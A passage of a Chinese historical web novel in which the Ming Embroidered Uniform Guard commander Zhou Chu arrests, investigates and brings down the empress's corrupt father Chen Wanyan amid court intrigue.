实际上也用不着查,整个陈府的下人之中有几十个都是锦衣卫的暗桩,陈万言在家的时候每天做了什么,和谁说了什么话,都被记录的清清楚楚。 包括那些官员给陈万言送礼的时候说了什么话,都是一清二楚的,想搞陈万言不在于有多少证据,而在于皇帝支持谁。 这才是杨一清和夏言急于起复周楚的根本原因,他们很清楚,皇帝或许会忌惮周楚,但对周楚的话和周楚做的事还是会支持的。 毕竟谁都看得出来,周楚自从为官以来,做的事都是都是为国为民,皇帝能有如今的局面,可以说这位锦衣卫指挥使立下了汗马功劳。 杨一清认为皇帝原本或许有些忌惮周楚,但经过了这么多天,皇帝应该早就想明白了,周楚从未有过异心,很多事都是当时顶到那个份上了,不得不那么做。 等做完了,仔细一想,很多事就都能想明白了。 正是因为杨一清自以为掌握了嘉靖的这种想法,所以他敢肯定,皇帝肯定是会站在周楚这边的。 至于陈万言?杨一清看的更清楚,这不过是皇帝手里的一把刀,用的差不多了之后随时可以舍弃。 皇帝之所以用陈万言这把刀,归根结底还是因为手里没有趁手的刀,周楚对皇帝而言,不只是趁手的刀,还是一把神兵利器,可以斩断一切,无往不利。 有了周楚,皇帝自然不会在乎陈万言的死活。 轻则罢官,重则灭门抄家。 具体还要看皇帝和皇后之间的感情是否真的像他们表现出来的那般恩爱。 周楚起复之后没几日,方鸿和沈青的大婚之日到了。 方鸿回京也有一段时间了,一直都在筹备大婚的事,她很清楚,倘若不趁着这次回京完婚,下次回京最起码又得一年半载的,她和沈青年龄都不小了,于情于理也该完婚了。 不过无论是方鸿亦或是沈青,都没了父母,不过两个月之前,德清公主将沈青认作了干女儿。 德清公主这么做,一方面是因为周楚,另外一方面则是因为云桂坊。 现在的几家云桂坊的铺子,德清公主和周楚都教给了沈青在经营,毕竟专业的事交给专业的人去做,如今的云桂坊是公主府的经济命脉。 公主府和以前相比,不知道要阔了多少,不只是因为有钱了,还因为之前周楚不断抄家抄出来的好玩意一车一车运往京城,嘉靖没少赏赐给公主府。 毕竟整个京城之中,除了嘉靖的生母之外,宗族最亲近的也就是这个姑姑了,平日里有什么好玩意自然都会想着公主府。 方鸿和沈青的大婚,除了邀请他们那为数不多的亲人之外,方鸿锦衣卫的同僚也来了不少,甚至很多千户,包括陆万山都来了。 很明显,这些人是冲着周楚的面子来的,因为周楚和云瑾都在。 云瑾在外领兵的近一年时间,刚开始只是一个小丫头,虽然在外人面前很是威严,但毕竟刚开始统兵,对很多事都充满了迷茫,全赖方鸿一直跟在她身边,让她有了底气。 所以两人的感情也是极好的。 孙娇娇和韩鸢儿也在,两女和沈青的关系,自然是要来的。 不只是这些人,杨慎还特地让府上的人送来了贺礼,甚至杨一清和夏言都让人送来了贺礼。 以他们三人的身份,自然不能亲自来参加一个锦衣卫百户的婚礼,能让人送来贺礼,完全是看在周楚和公主的面子上。 韩玠没来,不过有韩鸢儿代为上了贺礼,韩鸢儿和韩玠一共两份礼,孙娇娇也是如此。 教坊司的所有官员,不论官职大小,都来送了贺礼,一方面是因为方鸿是锦衣卫百户,另外一方面则是因为沈青和公主府以及周楚之间的关系。 整个京城,教坊司最该拍马屁的人就是周楚这个锦衣卫指挥使,平日里他们表现的机会并不多,现在好不容易有了表现的机会,自然一个个抢着送贺礼。 送完贺礼就走,绝不多留,毕竟他们是教坊司的官员,好说不好听,即便是上礼,用的也不是他们的官名,而是用的他们家中其他人的名字。 至于周楚会不会知道?这一点他们根本不用考虑,锦衣卫如果不知道他们家里有谁,那才是怪事。 除了这些人之外,楚璃也来了,时隔一年多,楚璃再次出现在京城之中,以她本来的身份出现的。 “楚璃,你居然还活着。” 看到楚璃,最惊喜的莫过于孙娇娇,她双眼通红,泫然欲滴。 “是啊楚璃,当初我们都以为。。” 韩鸢儿见到楚璃,也显得很激动。 “当初多亏了衡器救了我们姐弟两人,否则我楚家就真的被人灭门了,不过当时我楚家的仇人还活着,所以不便现身。” 楚璃面露愧色道。 “活着就好,活着就好。” 孙娇娇拉着楚璃的手,怎么都不愿意放开。 “怪不得衡器当初说要把你在醉仙楼的份额保留着,对了,你弟弟呢?” 韩鸢儿问道。 “他在江南忙生意,抽不开身,我也是最近刚闲下来,江南的生丝生意都是我在负责。” 楚璃笑道。 对于楚辉祖的去处,她自然不会多说,如今的楚辉祖在江南商会混的风生水起,在周楚楚璃的有意扶持下,很多资源倾斜向了楚辉祖之后,他的生意越做越大,直接成了江南商会的副会长。 江南商会的会长李贤这一年被周楚折腾的心惊胆战,愈发不敢管江南商会的事了,如今的江南商会,楚辉祖的话语权很大。 “你是要恢复楚家大小姐这个身份吗?” 孙娇娇问道。 楚璃摇了摇头。 “楚家的门楣将来有辉祖来光耀,我只想做自己想做的事,不想再被这个身份束缚着。” 孙娇娇听到这话,和韩鸢儿对视了一眼。 她们都明白楚璃的意思,一旦恢复了楚家大小姐这个身份,做的事说的话都关系到楚家,楚家大小姐如果一直不嫁人,会被人说闲话的。 两人对于楚璃的心思都是清楚的,再加上周楚救了楚璃姐弟俩一命,如今的楚璃恐怕对周衡器是情根深种,但她们也很清楚,楚璃想和周衡器成婚,基本是没这个可能的。 “只要能跟在衡器身边,我也就心满意足了,他太耀眼,跟着他做事的这一年,我见识到了我前面十几年从未见识过的精彩世界,所以我不可能再做回大家小姐,深居内宅之中了。” 楚璃展颜一笑道。 孙娇娇两女听到这话,心情很是复杂,有羡慕,也有惋惜,羡慕的是楚璃的自由自在,想做什么便做什么。 像她们这种官家小姐,看似风光,一出生什么都有了,但只有她们清楚,她们未来的命运,从一开始就是注定的,等到差不多的年纪找一个差不多门当户对的人家嫁了。 这便是这个时代的局限性,她们虽然不明白什么是时代的局限性,却也能隐隐感觉到,这种感觉在和周楚接触后愈发明显。 “真羡慕你。” 孙娇娇笑道。 第179章 陈万言的把柄,沈青的心思 方鸿和沈青大婚,有人高兴,就有人不高兴。 陈万言便是其中之一,这么多官员往方家去送礼金,自然瞒不过陈万言。 陈万言当然清楚这些人是冲着谁的面子去的,周楚,周衡器,周指挥使。 其他官员越是对周楚上赶着,陈万言越是如坐针毡,他很清楚,这些人希望周楚起复要对付的是谁,那不就是自己吗? 但要是让陈万言去闹事,他又不敢,毕竟有醉仙楼的前车之鉴,周楚还真敢再次把他抓起来,关进北镇抚司,如此一来,他就会颜面尽失。 以前陈万言一文不名的时候,倒也不在乎什么颜面,一个五十岁左右的老秀才,该丢的面子早就丢光了,早就不在乎什么颜面了。 但现在不一样,他陈万言的身份不一样了,下面有无数看着他的官员,跟着他混的官员,这要是丢了面子,他就有点接受不了了。 不过陈万言不敢,不代表其他人不敢,那些想拍陈万言马屁的官员自然清楚陈万言和周楚的恩怨,毕竟当初陈万言被北镇抚司抓走的事,知道的人还是不少的。 大部分人都不敢惹周楚,但总有些投机分子,觉得如今的陈万言权势滔天,一个锦衣卫指挥使算什么?自己去为陈大人出口恶气,即便是因此被锦衣卫的人抓了,陈大人也会把自己捞出来。 别人不敢做的,自己做了,为陈大人出了气,以后陈大人能不器重自己? 一旦面前有了足够的利益,总有人敢于豪赌。 张俊便是其中之一,张俊不是文官,是个武将,从小纨绔,没什么本事,如今四十左右,也不过在中军都督府混了个百户。 顶头上司不是别人,正是陈万言。 中军都督府早已名存实亡,否则张俊这种草包中的草包也混不上百户。 陈万言刚任中军都督同知的时候,不论是张俊亦或是中军都督府的其他百户千户,都没太把他放在眼里,毕竟中军都督府什么情况,没人比他们更清楚的了。 说一句有名无实毫不为过。 张俊这些人相当于在中军都督府混个空饷,平日里也不用当值,原本他们这些人对往上爬是毫无欲望的,因为毫无希望。 直到这段时间,陈万言的权势如同平地惊雷一般,突然趁势而起,这让张俊这个草包看到了往上爬的希望。 他抓住机会就疯狂的拍陈万言的马屁,但如果让他送礼,他还没有拿得出手的,毕竟在中军都督府相当于领空饷,没有任何额外收入,想贪钱都没地方去贪。 他张家到了他这一辈没落的差不多了,当初他这个五军都督府的百户还是继承的他那个死鬼老爹的。 陈万言是什么人?不见兔子不撒鹰,这么多上赶着送钱的不往上抬,抬你一个一毛不拔的武将? 张俊一直在寻找机会,想着替陈万言办一件大事,如今方鸿和沈青大婚,陈万言意识到自己的机会来了。 他早就想往上爬了,现在的这个百户,每年的俸禄就那么点,一家人过日子都干干巴巴的,但凡有机会往上爬,哪怕只是平调到一个有实权的百户位置上,张俊都觉得值了。 张俊清楚,此时的方府都是锦衣卫,但他就是要做给陈万言看的,哪怕因此被锦衣卫抓了。 一旦陈万言出手捞自己,这事就算是成了。 张俊喝了点酒,叫上了几个狐朋狗友,直奔方府而去。 “大人,我们的人抓住几个想要闹事的。” 陆万山来到了正和众人饮酒的周楚面前,低声道。 “具体身份。” 周楚说道。 “为首的是一个中军都督府的百户,叫张俊。” 陆万山恭敬道。 “中军都督府?陈万言不是中军都督府同知吗?先关进你们北镇抚司的昭狱,好好审一审,是不是陈万言派他们来的。” 周楚一听这话,顿时来了精神,正愁没理由对付陈万言呢,这不就是送上门的理由吗? 这些人是不是陈万言的人不重要,进了昭狱,他们只能是陈万言派来的。 陆万山自然也听出了周楚话里的意思,脸上出现一个会意的笑容,心中开始为陈万言感到默哀。 指挥使大人没找你麻烦,你就应该老老实实的烧高香,如今还不知死活的往大人手中送把柄,这不是找死吗? 当然,陆万山也清楚,这张俊未必是陈万言派来的,但他干这个事,肯定是想拍陈万言的马屁。 陆万山何等的老油条,一眼就看出了其中的问题,无论怎么说,这口锅陈万言是甩不开了。 “大人,我们夫妻二人敬大人一杯,这一年多,属下承蒙大人提点,内人能有今日,也多亏了大人,没有大人,就没有我们的今日。” 方鸿喝了很多喜酒,如今已经是脸色酡红,好在今日来的宾客很多都是知道她是女儿身的,即便不知道的,也只是觉得今日的方百户有些过于俊美了,俊美的像个娘们。 周楚听到这话,也没有端着身份,端起了就被站了起来。 “祝你们百年好合。” 周楚说完这话,方鸿和沈青两人纷纷端起酒杯,一饮而尽,周楚也陪了一杯,一饮而尽。 周围的人纷纷拍手叫好。 沈青喝的不多,但已经有些醉眼迷离了,正所谓酒不醉人人自醉,也不知道沈青是故意装醉还是真的醉了。 两人的大婚很顺利,也很圆满,到了傍晚的时候,大多数宾客都已经离去,只有周楚还没走。 原本周楚是想和沈青还有方鸿打个招呼就离开的,结果沈青醉眼朦胧的抓住他的胳膊就不放手了。 “大人,衡器,今日我大婚,大人能否满足我一个愿望。” 沈青这话说的断断续续的,好像是真的喝醉了,方鸿就站在旁边,看到这一幕丝毫不感到意外,好像是两人商量好的一般。 “你喝醉了。” 周楚笑道。 “我没醉。” 沈青说完这话,整个人扑到了周楚怀中。 “我们俩大婚,注定是生不了孩子的,日后这偌大的家产留给谁?时间久了,难免要被人说闲话,说我是个不能下蛋的母鸡。” 沈青说道。 “是啊大人,青青一直以来都心悦大人,正是因为想一直跟在大人身边,才同意与我大婚的,大人不如就满足了青青这个愿望,给她留个孩子吧。” 一旁的方鸿跟着劝说道。 “你们想好了?” 对于沈青的想法,周楚是知道的,只是没想到会想着让自己给她留孩子,对于这一点,周楚倒也不反对,毕竟将来自己的路肯定凶险异常,多留个种在这里,也算是一条后路。 要说周楚对沈青一点感情没有,那也是假的,只是还没到那种程度罢了。 “求大人成全。” 沈青醉眼朦胧道。 第180章 北镇抚司兵临陈府 第二日一早,周楚从方府离开,想起昨夜不禁摇了摇头,一朝解禁,难免有些疯狂。 方府门口,有不少锦衣卫值守着,其中就包括沈炼,沈炼是刚睡醒过来接班的。 沈炼很清楚自己的定位,所以对于周楚的私生活从不会过问,更何况沈炼早就知道方鸿是女人,跟在周楚身边这么久,周楚的事沈炼是最清楚的。 “昨天抓的那个百户,招了吗?” 周楚看着沈炼道。 “昨天下午就招了,这种软蛋根本就用不着上大刑,进了昭狱腿都软了。” 沈炼不屑道。 张俊终究是高估了自己,低估了北镇抚司,进入昭狱之后才发现事情远没有自己想的那么简单,仅仅是昭狱之中那股血腥气,就让他双腿发软。 随后经过陆万山稍微一引导,就承认了自己是陈万言派过来捣乱的。 周楚也不过是要一个对陈万言动手的理由罢了,不然刚被起复就对陈万言动手,太明显了。 虽然所有人都清楚是怎么回事,但面上还是要过得去的。 “去把陆万山叫过来。” 周楚看着另一个值守在方府门口的总旗道。 “是,大人。” 此人恭敬行礼之后,便直奔北镇抚司而去了。 周楚则和沈炼前往锦衣卫所,周楚既然已经起复了,自然是要上班的。 “大人。” 邓愈时隔一年多,再次见到指挥使大人,心情自然是有些激动的。 “邓愈是吧?” 周楚想了许久,终于想起了邓愈的名字,实在是这一年经历的人和事太多了,邓愈这个名字都快被挤出周楚的脑海了。 “是的,大人。” 邓愈受宠若惊道。 他怎么都没想到,时隔一年,指挥使大人居然还记得自己的名字,这让他感到万分的荣幸。 周楚拍了拍邓愈的肩膀,没说什么,来到自己的位置上随意坐下。 邓愈则以为自己被周楚看重,满心的激动,恨不得为周楚赴汤蹈火。 “大人,有何吩咐?” 没过多久,陆万山也来到了锦衣卫所,恭敬道。 “带上人马,去把陈万言和陈绍祖都抓进昭狱,先不要急着抄家,抓的时候注意分寸。” 周楚看着陆万山,说道。 陈万言再怎么说也是皇后的爹,陈府是皇后的娘家,即便证据十足,北镇抚司也只能先抓人,至于如何处置,还得由皇帝来做决定。 这其中的分寸倘若掌握不好的话,很容易引起皇帝内心的反感,让皇帝以为周楚没把他放在眼里。 正所谓打狗还要看主人,即便周楚清楚嘉靖对陈万言的真实态度,但明面上百官是不知道的,周楚若是失了分寸,就相当于在百官面前落了皇帝的脸面。 “大人放心,我知道该如何办。” 陆万山说完就转身回北镇抚司点上了一些老油条,那些年轻气盛的,他是一个都没叫,这种人往往下手没轻没重的,毛手毛脚。 若是其他事还好,这件事分寸如果拿捏不好,他这个北镇抚司的镇抚使就不用干了。 陆万山的人动手之前,一条消息就传遍了京城,很多官员都知道了这个消息,包括陈万言。 “什么?那个张俊说是我让他去的?” 陈万言才刚起床,听到这个消息,差点跳起来。 原本这几天他和周楚相安无事,让他觉得周楚并不会把自己如何,刚放松下来,没想到他手下的这个百户给他捅了个这么大的篓子,关键他还毫不知情。 此时的陈万言那叫一个憋屈,仿佛被人硬塞了一坨屎,却又不能去解释,一旦解释了,等于变相承认了他怕了周楚这个锦衣卫指挥使了。 如今的陈万言如日中天,手下不知道多少人看着他呢,他要是认怂了,怕那些官员认为他不行了,对他失望,这是陈万言最不愿意面对的。 所以即便是被冤枉的,陈万言也只能咬紧牙关认了。 “不就是一个锦衣卫指挥使吗?他周楚凭什么跟我横?” 陈万言来到正厅的时候,已经有不少官员在那里等着想要给他送礼了。 听到陈万言这话,这些人眼睛顿时亮了。 “那是,陈大人是何等身份,区区一个锦衣卫指挥使,也敢和大人叫板?” 其中一人满脸谄媚道。 “就是,如今的满朝文武,谁见了大人不得礼敬三分?首辅如何?礼部尚书如何?还不是拿大人毫无办法?他周楚不过是一个锦衣卫指挥使,倚仗的不过是陛下罢了,陛下肯定会站在陈大人这边。” 另一个人附和道。 陈万言听到这话,底气愈发的足了。 “以前本官不想与他一般见识,但他要是不识抬举,本官就会让他知道花为何这样红。” 说这话的时候,陈万言意气风发。 “那是,周楚算个什么东西?也敢和爹你叫板?” 陈绍祖此时也来到了正厅,打着哈欠道。 昨夜他新纳了个小妾,原本准备大战一场,却不想身体不允许,他这些天夜夜笙歌,每天做新郎。 原本就不怎么结实的身子骨哪里经得起这么折腾,最终只能草草收场,不然的话,此时也起不来。 “大人,我特意托人从安南那边弄了一块上好的沉香木,您给掌掌眼?” 其中一人说着,示意下面的人抬上来一箱箱银钱,陈万言父子看的双眼放光,以前的穷苦日子过怕了,现在他们看这些黄白之物却是怎么都看不够。 随后此人从怀中掏出一个小盒子,从里面取出一块沉香木。 “大人,大人。” 此人看着陈万言那副财迷的表情,心中鄙夷,面上却是无比谄媚的叫了两声大人。 陈万言这才反应了过来,看向了那人手中的沉香木。 他哪懂这个,正所谓山猪吃不来细糠,这个官员大概也是拿准了陈万言不懂,所以随意取了一块上品的沉香木装到盒子里的。 上品沉香木虽然也值钱,但并不罕见,甚至可以说有钱就能买到。 “大人,这个可是千年沉香木,每一块千年沉香木都价值千金。” 此人煞有介事道。 陈万言不懂沉香木,但懂钱,听到价值千金,顿时双眼放光,从那人手上接了过来。 “好东西,好东西啊。” 正在陈万言把玩着沉香木的时候,陈府的管家急匆匆的跑了进来。 “大人,不好了,北镇抚司的陆万山来了。” 陈府管家前脚刚到,陆万山带着锦衣卫后脚就跟了过来。 这还是陆万山有意放慢脚步,否则这个管家怎么可能跑得过他们。 “陈大人,您公然贪墨如此多的钱财,跟我们走一趟吧。” 陆万山指着正厅摆放着的几个大箱子和里面的财物道。 第181章 陈万言啊陈万言,你说你惹谁不好? “大胆,你们有圣旨吗?如此胆大包天,擅闯侯府?” 陈万言还没说话,其中一个官员直接站了起来,指着陆万山痛斥道。 “我北镇抚司抓人什么时候需要圣旨了?诸位都别急,今日你们也都要随我等走一趟,好好交代一下这些钱财是哪里来的,还有来陈大人府上要干什么?” 陆万山又怎么会被这种话给拿住,冷眼瞥了一眼此人道。 不过此人倒也不怕,他觉得自己背靠陈万言,背靠侯府,眼前的北镇抚司多半是周楚这个指挥使派来的,即便把自己等人抓进昭狱之中,事后还不是得乖乖的放出来? 之前就有一次前车之鉴,泰和侯又不是没进过昭狱,结果怎么样? 所以无论是他还是旁边的其他官员都显得无比淡定。 “陆万山,你可要想好这么做的后果。” 陈万言脸色阴沉道。 “这一点自然不需要侯爷操心,本官既然来了,自然知道会有什么后果。” 陆万山冷笑道。 “把诸位大人都请到北镇抚司,注意分寸。” 陆万山说完不再和众人废话,直接下令道。 跟着来的锦衣卫们纷纷上前,对于陈万言和陈绍祖众人还会客气一些,其他的那些官员干脆直接押了出去。 “侯爷,请吧?非要我们动粗的话,大家脸上都不好看。” 陆万山面容冷峻道。 陈万言父子听到这话,也明白今天这趟昭狱是非去不可了,不过两人心里倒也不怎么怕,他们的想法和之前被押走的那几人差不多,北镇抚司或许可以抓他们,但没有皇帝的允许,给他北镇抚司十个胆子,他们也不敢动自己。 北镇抚司有先斩后奏之权,但那也好看是对谁,对四五品的官员自然是可以的,但像陈万言这等身份,北镇抚司是没有处置的权限的。 陈万言父子觉得这件事一旦移交到皇帝那边,北镇抚司想关住自己,简直是痴人说梦,别的不说,单单皇后就不会答应。 “陆万山,你等着吧,不只是你,还有那个周楚,回头陛下知道了此事,绝不会轻饶了你们。” 陈绍祖一脸蛮横道。 父子两人也不和陆万山继续拉扯,甩开膀子就走在前面,后面跟着一众锦衣卫,直奔北镇抚司的昭狱而去了。 陈府出事的消息迅速传播了出去,最先得到消息的不是别人,正是皇后陈氏,陈氏得到陈府下人送来的消息之后,出离的愤怒,她怎么都没想到,这个周楚居然如此的胆大包天,敢一而再再而三的对自己的父亲出手。 “周楚!周楚!你到底是怎么敢的?” 陈氏在她的寝宫之中将东西砸了个遍,旁边伺候的宫女全都跪倒在地,瑟瑟发抖,这个时候谁要是敢不长眼去收拾,只会迎来陈氏的狂风暴雨,之前有过先例,所以此时没人敢去触霉头。 “随我去见陛下。” 陈氏看了一眼趴在地上的贴身侍女,冷声道。 其中两个侍女急忙起身,和陈氏出了寝宫,其他宫女此时才松了口气,急忙开始收拾寝宫,倘若在陈氏回来之前没收拾好,她们还要受到责罚。 陈氏直奔万寿宫而去,刚来到万寿宫门口,就被黄锦拦住了去路。 “娘娘留步。” 黄锦低声细语道。 “怎么?你这个奴才也敢拦本宫了?” 陈氏看着黄锦,满脸不屑道。 “娘娘言重了,奴婢自然没这个胆子,是主子万岁爷吩咐的,这两日抱一守正真人正在为主子沐浴焚香,举行斋戒仪式,主子要为大明祈福,为百姓祈福,特意吩咐奴婢,任何人不得打扰。” 面对陈氏带有侮辱性的言语,黄锦视而不见,他很清楚自己的身份,也从未想过因此记恨陈氏,他的性子本就如此,在他心里,只有如何伺候好自己的主子,主子的主意便是他的主意。 “让开,今日本宫一定要见到陛下,再敢拦本宫,休怪本宫不客气!” 陈氏冷眼看着黄锦道。 “娘娘还请慎重,今日娘娘就是将奴婢打死在这里,奴婢也不会放娘娘进去。” 黄锦说话的语气仍然是很轻柔,但言语之间的话,却是软中带硬,坚不可摧。 即便是陈氏,听到这话,也愣住了,她从未见过黄锦如此违逆自己,以前的黄锦在她眼里那就是一个听话的奴才,皇帝让他干什么,他绝无二话。 此时的陈氏仿佛重新认识了黄锦一般,用眼神审视着这个低眉顺目的年轻太监。 “黄锦,今日倒是让本宫重新认识了你,好,好得很,等陛下斋戒结束,本宫倒要看看,陛下会如何处罚你。” 陈氏咬牙切齿道。 说完这话,陈氏便愤然离开。 对于陈氏的话,黄锦丝毫没有放在心上,甚至有些觉得眼前这个嚣张无比的皇后无比的可悲。 黄锦知道的自然比陈氏多得多,她很清楚,陈氏和陈府的命运,早在周大人回京的时候,便已经注定了。 或者说再早一些,早在半年前,陈氏第一次想要干涉陛下对文官们的决策的时候,陛下就已经起了废后的心思。 那之后陈氏倒也消停了一段时间,让陛下暂时打消了废后的心思,只是最近皇后自从有了孕,愈发的嚣张跋扈,黄锦清楚,这跟陛下的刻意纵容也有关系。 眼前的这位皇后以及那位泰和侯,早已是秋后的蚂蚱,却不自知。 陈氏离开之后,黄锦转身进了万寿宫。 此时的万寿宫内,飞霞子韩懋确实在,不过嘉靖却没有沐浴焚香,毕竟明日就要早朝,所谓的沐浴焚香,为大明祈福,也不过是对陈氏的托词罢了。 “陛下能为周指挥使做到如此地步,也不负君臣相遇一场,将来定会被传为美谈。” 飞霞子笑道。 “道长言重了,朕和衡器不过是相辅相成罢了,朕能有如今的局面和权势,全赖衡器一人,朕此时再为不帮衡器,谁来帮他?如今的衡器不说满朝皆敌,也差不了多少了。” 嘉靖叹了口气道。 “之前杨一清等人对衡器的捧杀,居心是何等的险恶,如果没有陈万言这么一闹,哪怕朕起复衡器,将来这些人还会继续对衡器进行封杀,那样的话,衡器一不小心就会万劫不复。” 飞霞子听到这话点了点头。 “陛下深谋远虑,如此,将来这些人想要对付周大人,也要三思了。” 杨一清得到北镇抚司动手的消息之后,冷笑不已。 “陈万言啊陈万言,你说你惹谁不好。” 第182章 朝堂上的大戏,痛心疾首的嘉靖 第二日一早朝会上,那些依附陈万言的官员纷纷弹劾周楚。 “陛下,锦衣卫指挥使周大人简直是无法无天,私自捉拿泰和侯,根本不把陛下放在眼里。” 其中一个官员上来就发难道。 “陛下,周指挥使包藏祸心,其心可诛。” 另一个四品官出列道。 他们这群人已经和陈万言绑定在了一起,陈万言一倒,他们一个都跑不掉,甚至都不用周楚这个锦衣卫指挥使清算他们,单单是杨一清和夏言这边的人就够他们喝一壶的。 所以他们无论如何都要为陈万言说话,这个时候首鼠两端已经没了意义。 紧接着又有一群官员站了出来,除了两个人,这两人便是之前一直为陈万言出谋划策的两个,他俩是皇帝安排在陈万言身边的。 眼看着这两个平日里出谋划策最积极的此时居然沉默了,有些人心中大感不妙,有些人则没有这么敏锐的嗅觉,反而是一脸不解地看向两人。 “衡器,可有此事?” 嘉靖看着周楚,饶有兴致道。 语气之中毫无质问责怪之意。 皇帝这话一出,原本那些心中感到不对的官员一个个顿时警铃大作,意识到了事情的不简单,不过此时他们已经势成骑虎,哪还有退路? “陛下,臣确实让北镇抚司的人请了泰和侯过去调查,不过陆万山他们很有分寸,是请过去的,并非像这些位说的那样。” 周楚出列道。 周楚首先要强调这件事,因为这件事事关皇帝的颜面,即便很多人都知道里子是怎么回事,但对皇帝而言,要的不只是里子,面子同样重要。 “去召陆万山进殿。” 嘉靖说道。 实际上陆万山一早就在外面候着呢,此时听到召见,急忙走了进来。 “臣陆万山参见陛下。” 陆万山跪下道。 一般官员上朝是不需要下跪的,但陆万山不同,首先他是锦衣卫,算是皇帝的私兵,权利全都是源于皇帝,其次他此时是接受询问,自然要下跪。 “陆万山,朕且问你,你们是不是将陈万言父子抓到了北镇抚司?” 嘉靖看着陆万山道。 “回陛下的话,臣怎么敢抓泰和侯呢,臣是将泰和侯请到北镇抚司的,当时陈府的所有人都可以作证。” 陆万山如实回答道。 嘉靖听到这话,脸色稍霁。 “即便如此,没有朕的旨意,你们就私自将泰和侯请到北镇抚司,是否有些不妥?” 嘉靖这话,实际上是说给其他人听的,再怎么说陈万言也是他的老丈人,这些天他对陈万言可以说是有求必应。 “陛下,这一点确实是臣欠考虑,请陛下责罚。” 周楚出列道。 这个锅,周楚必须得背下来,否则就成了嘉靖对蓄意想抓陈万言了。 “陛下,周指挥使一向是奉公执法,北镇抚司的职责便是监察百官,陈大人虽然身份特殊,却也在北镇抚司的监察范围之内,周指挥使不过是职责所在罢了。” 第一个出来为周楚说话的不是杨慎,是杨一清。 这是一场大戏,这一点无论是杨一清、夏言还是杨慎等人早就看出了端倪。 不同的是,杨一清和夏言不知道这场大戏的主导者是嘉靖,他们都以为嘉靖也只是顺水推舟,顺手解决了陈万言这把刀。 却不知道从一开始谋划这一切的便是嘉靖。 杨慎和韩玠等人能看出来的就更多一些,他们依稀之间能看出这背后就是皇帝。 这和眼界无关,完全是几人的立场决定了他们看待问题的角度不同,得出的结果也就不同。 杨一清和夏言始终觉得皇帝对周楚是心存忌惮的,否则也不会一直拖着不想让周楚起复。 但杨慎和韩玠是看的清的,因为他们和周楚不说是完全同一个阵营的,却也没什么利益上的冲突,所以他们看的更透彻。 “陛下,周指挥使也是秉公执法,还望陛下网开一面。” 夏言也出列替周楚说话道。 不得不说,人生的际遇真是奇妙,以前这两人都恨不得周楚去死,现在却不得不为周楚说话。 毕竟查办陈万言这事,是他们求到了周楚头上,之前也是他们一再请求让周楚起复的,即便此时他们仍然恨不得周楚去死,却也得为周楚说话。 这便是朝堂,这便是为官。 眼看着杨一清和夏言替周楚说话了,杨慎和韩玠就没再说了。 很多事过犹不及,他们这些朝堂上的大员全都联合起来为周楚说话,那是什么意思?联合起来逼迫皇帝吗? 虽然没有这个意思,皇帝也知道没有这个意思,但很多事很多人就只会看明面,或者说有心人会利用这些明面上的东西做文章。 “衡器,你可查出陈府有何不妥?” 嘉靖话锋一转道。 这话的意思也很明显,你查出结果还好说,倘若什么都没查出来,我可饶不了你。 “启禀陛下,臣查出了很多证据,陈大人贪墨白银两百多万两,黄金一万两千两,古玩字画不计其数,这些都是名录,请陛下过目。” 周楚说着将一个早已准备好的册子递了上去。 其他官员听到这话,都倒吸了一口凉气,他们还是低估了陈万言的贪婪程度。 陈万言开始和这些官员有利益往来才多久,一个月不到吧,就贪墨了如此多的钱财,长此以往,他们都不敢想陈万言能贪多少。 当然,这个陈万言肆无忌惮,丝毫不知收敛也有关系,毕竟其他官员就算贪也没这么明目张胆。 而且能和陈万言有利益往来的官员就那么多,越往后,陈万言敛财的速度会越慢。 嘉靖从黄锦手上接过册子,越看越生气。 “岂有此理,这些可都当真?” 嘉靖看着周楚问道。 毕竟此时还没有抄家,这个册子未经证实。 “臣可担保,或许会有细微差别,但大差不差。” 周楚说道。 “周衡器。” 嘉靖突然高声叫道。 “臣在。” 周楚行礼道。 “朕着你率领北镇抚司,前往陈府抄家,将陈万言所犯之罪状一一列举出来,朕实在是没想到,朕对他的纵容,会让他目无王法到如此地步。” 嘉靖痛心疾首道。 第184章 周楚的审讯,陈万言招供 “收场?我收什么场?现在该考虑如何收场的是你们。” 周楚突然出现在陈万言父子的牢房外道。 “周衡器,你到底知不知道你在做什么?等皇后娘娘告诉了陛下,你真要好好想想该怎么跟陛下解释了。” 陈万言脸色阴沉道。 此时的他一点都不觉得自己会有事,之前他就来过一次锦衣卫的昭狱,结果如何呢?不到半日就被那北镇抚司镇抚使陆万山客客气气的请了出去。 “周衡器,正所谓可一不可再,你两次无缘无故动我,真不怕皇后娘娘震怒吗?” 周楚听到这话,仿佛听到了什么笑话一般。 “忘了告诉你们了,皇后于昨日已经被废了,你们陈府也被北镇抚司抄了,抄出来的东西,足够你们爷俩死十次了。” 周楚看着眼前还认不清形势的陈万言父子道。 “不可能,绝不可能,休要诓骗我们,我知道你们北镇抚司的手段,无非是不敢对我们父子用大刑,想要用这话诓骗我们招供。” 陈万言听到这话,先是愣了一下,随即冷笑道。 “陈万言,都什么时候了,你还如此执迷不悟,你也不想想,倘若皇后安然无事,又岂会让你在这昭狱之中待这么久?” 周楚看着陈万言,一脸可怜道。 周楚确实不想给这父子俩上大刑,再怎么说陈万言也是皇帝曾经的老丈人,该有的体面还是要保留的。 原本的历史上,陈氏被废黜之后,陈万言也算是善终了,毕竟彼时的陈万言没有嘉靖的可以放纵,拿不到什么权利,手中的职权也基本都是虚职。 现在的陈万言之所以膨胀到如此程度,完全是嘉靖刻意引导和放纵的结果。 即便如此,周楚很清楚,皇帝恐怕并不想杀这对父子,毕竟就算是原本历史上的严嵩父子,贪的更多,最后严嵩也算是善终了。 陈万言再怎么说,也给嘉靖当了一把好刀,不管是不是出于他自愿的,事实就摆在这里,更何况他再怎么说也是嘉靖的老丈人,该有的体面还是要有的。 陈万言听到这话,脸色肉眼可见的慌乱了起来,其实这两天他可不像表面表现的那么镇定。 原本他以为自己进昭狱不过是走个过场,当天都不能过就会被放出来,所以异常的嚣张。 当天过了之后,陈万言内心其实就开始慌了,不过他仍然认为自己不会有事,想来陛下是被什么事情耽误了,毕竟陛下日理万机。 但现在又过去了两天,整个昭狱居然没有任何动静,也没人说要放他们出去,陈万言的心早已忐忑不安,他意识到事情可能不像自己料想的那般。 此时听到周楚这话,他心里其实已经信了,但又不敢相信,因为一旦皇后被废,那就意味着他们陈家彻底完了。 “陈万言,你只要好好交代,陛下还是会给你个体面的,不会要了你们父子的命。” 周楚也懒得和陈万言墨迹,说道。 “我看你就是在骗我们。” 陈绍祖骤然得知自己的妹妹被废黜了皇后,心里是无论如何都不能接受的。 他才过了多久的好日子,如果真像周楚说的那样,等于他瞬间被打回了原形。 没了身份地位和金钱的加持,他陈绍祖算个屁。 